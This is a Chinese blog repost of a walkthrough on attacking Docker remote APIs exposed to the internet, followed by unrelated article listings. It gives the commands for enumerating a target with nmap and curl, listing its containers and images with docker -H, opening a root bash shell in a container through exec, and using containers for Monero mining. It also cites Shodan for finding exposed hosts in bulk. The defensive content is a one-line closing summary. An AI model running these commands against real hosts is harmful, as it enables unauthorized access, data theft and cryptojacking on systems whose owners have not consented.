https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124

1)场景

攻击开放在互联网的Docker API

2)问题难点

Docker API外放有什么危害?

3)解决问题的方法

  • 理解客户API公开互联网的原理
  • 信息收集和枚举
  • 利用Docker CLI测试暴露的API
  • 批量挖掘

4)方法细节

理解客户API公开互联网的原理

如何为dockerd启用远程API

1、/etc/systemd/system/docker.service.d/startup_options.conf使用以下内容创建文件:

# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376 注意: -H标志将dockerd绑定到侦听套接字,即Unix套接字或TCP端口。您可以指定多个-H标志以绑定到多个套接字/端口。默认的-H fd://使用systemd的套接字激活功能来引用/lib/systemd/system/docker.socket。

2、重新加载配置文件

$ sudo systemctl daemon-reload

3、使用新的启动选项重新启动docker守护程序:

$ sudo systemctl restart docker.service

Dockerd进程侦听端口2376

vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
tcp6 0 0 :::2376 :::* LISTEN 4504/dockerd
vagrant@ubuntu-xenial:~$

信息收集和枚举

使用nmap端口扫描

sudo nmap -sS -T5 192.168.1.7 -p-
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT STATE SERVICE
22/tcp open ssh
2376/tcp open docker
MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)

如果使用nmap的服务检测可以直接检测出Docker的确切版本。

nmap -sTV -p 2376 192.168.1.7
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
2376/tcp open 18.06.0-ce Docker
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds

向位于以下位置的端点发出GET请求,返回Docker的版本数据:

curl -s http://192.168.1.7:2376/version | python -m json.tool

从python2.6开始,多了个json.tool的东西。把json数据格式化显示出来。
>>echo '{"name": "lucy", "age": "18"}' | python -mjson.tool
{
"age": "18",
"name": "lucy"
}

  • 利用Docker CLI测试暴露的API
docker -H <host>:<port> info

收集信息

运行的容器

docker -H 192.168.1.7:2376 ps

已经停止的容器

docker -H 192.168.1.7:2376 ps -a

查看镜像

docker -H 192.168.1.7:2376 images

访问容器

在容器内生成一个shell是通过exec命令完成的,在这种情况下我们可能想要生成一个bash shell:

docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash

容器内的默认用户是root,可以尝试进一步搜集容器里的信息,代码、配置文件、数据库。

利用容器挖矿

https://ww.getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html

批量挖掘

Shodan上暴露出来的API是760个

5)总结

在这篇文章中,研究了Docker相关的威胁。让Docker API暴露于互联网可能会导致数据丢失,加密,僵尸网络等问题

【漏洞挖掘】攻击对外开放的Docker API接口的更多相关文章

  1. 记一次Hvv中遇到的API接口泄露而引起的一系列漏洞

    引言 最近朋友跟我一起把之前废弃的公众号做起来了,更名为鹿鸣安全团队,后面陆续会更新个人笔记,有趣的渗透经历,内网渗透相关话题等,欢迎大家关注 前言 Hvv中的一个很有趣的漏洞挖掘过程,从一个简单的A ...

  2. 前后端分离,如何防止api接口被恶意调用或攻击

    无论网站,还是App目前基本都是基于api接口模式的开发,那么api的安全就尤为重要了.目前攻击最常见的就是“短信轰炸机”,由于短信接口验证是App,网站检验用户手机号最真实的途径,使用短信验证码在提 ...

  3. 四十五:漏洞发现-API接口服务之漏洞探针类型利用修复

    接口服务类安全测试 根据前期信息收集针对目标端口服务类探针后进行的安全测试,主要涉及攻击方法:口令安全,WEB类漏洞,版本漏洞等,其中产生的危害可大可小,属于端口服务/第三方服务类安全测试.一般在已知 ...

  4. 使用YApi搭建API接口管理工具(docker安装)

    使用YApi搭建API接口管理工具(docker安装) 工具描述 YApi 是高效.易用.功能强大的 api 管理平台,旨在为开发.产品.测试人员提供更优雅的接口管理服务.可以帮助开发者轻松创建.发布 ...

  5. 一篇RPO漏洞挖掘文章翻译加深理解。

    这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它.这是一篇很有意思的漏洞挖掘文章. 前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了.但是思路真的牛皮.我决定花费时间和精力研究它们 ...

  6. Shodan在渗透测试及漏洞挖掘中的一些用法

    渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...

  7. ActiveX 控件漏洞挖掘之方法

    ActiveX是微软公司提出,并在1996年被正式命名的组件技术.该技术提供了一种通用的开放程序接口,使用这种技术开发的ActiveX控件可以直接集成到IE浏览器或第三方应用程序中,但由于第三方编程等 ...

  8. 浅析通过"监控"来辅助进行漏洞挖掘

    这篇文章总结了一些笔者个人在漏洞挖掘这一块的"姿势",看了下好像也没相关类似TIPs或者文章出现,就写下此文. 本文作者:Auther : vulkey@MstLab(米斯特安全攻 ...

  9. 防盗链&CSRF&API接口幂等性设计

    防盗链技术 CSRF(模拟请求) 分析防止伪造Token请求攻击 互联网API接口幂等性设计 忘记密码漏洞分析 1.Http请求防盗链 什么是防盗链 比如A网站有一张图片,被B网站直接通过img标签属 ...

随机推荐

  1. 【BZOJ4815】[CQOI2017]小Q的表格(莫比乌斯反演,分块)

    [BZOJ4815][CQOI2017]小Q的表格(莫比乌斯反演,分块) 题面 BZOJ 洛谷 题解 神仙题啊. 首先\(f(a,b)=f(b,a)\)告诉我们矩阵只要算一半就好了. 接下来是\(b* ...

  2. 【BZOJ2302】[HAOI2011]Problem C(动态规划)

    [BZOJ2302][HAOI2011]Problem C(动态规划) 题面 BZOJ 洛谷 题解 首先如果\(m=0\)即没有特殊限制的话,那么就和这道题目基本上是一样的. 然而这题也有属于这题的性 ...

  3. [hgoi#2019/2/18]比较水

    T1--调换纸牌(card) Alex有 n张纸牌,每张纸牌上都有一个值ai,Alex把这些纸牌排成一排,希望将纸牌按值从小到大的顺序排好.现在他把这个任务交给你,你只能进行一种操作:选中一张牌,然后 ...

  4. Mysql插入、替换和无视

    在现实的生产环境下,通常我们都会遇到这样的应用场景,需要我们更新数据.替换数据,若存在则不操作. insert into表示插入数据,数据库会检查主键,如果出现重复会报错: replace into表 ...

  5. A1074. Reversing Linked List

    Given a constant K and a singly linked list L, you are supposed to reverse the links of every K elem ...

  6. isinstance和issubclass,__getattribute__,__getitem__,__setitem__,delitem__,__str__(三十五)

    isinstance(obj,cls)检查是否obj是否是类 cls 的对象 issubclass(sub, super)检查sub类是否是 super 类的派生类 class Foo: def __ ...

  7. pascal与其它语言代码书写的不同和pascal的快捷键

    1.把很多简单语句括起来 begin end; 2.开始,结束 begin end. 3.判断if if (布尔表达式) then begin 语句 end  //没有‘:’ else if () b ...

  8. mui dtpicker 时间的设置 以及MUI的弹窗

    1)引入mui.min.css,然后引入mui.picker.min.css            注意这个mui.picker.min.css  与 mui.picker.css  不一样 2)引入 ...

  9. 什么是 Spring?

    感想: 我在写这个东西的时候看了不同的视频,和不同的书,关于对于spring的讲解,感觉黑马的培训视频,是讲的更加的让人容易理解. 这段时间因为各种的事情,没有写过博客了,曾经做的笔记有的在有道云笔记 ...

  10. Python练习1

    一.linux,基于文件大小,创建时间,修改时间,文件内容,文件名称等进行查找汇总和输出 2019-01-04 只操作文本文件 #!/usr/bin/env python # -*- coding: ...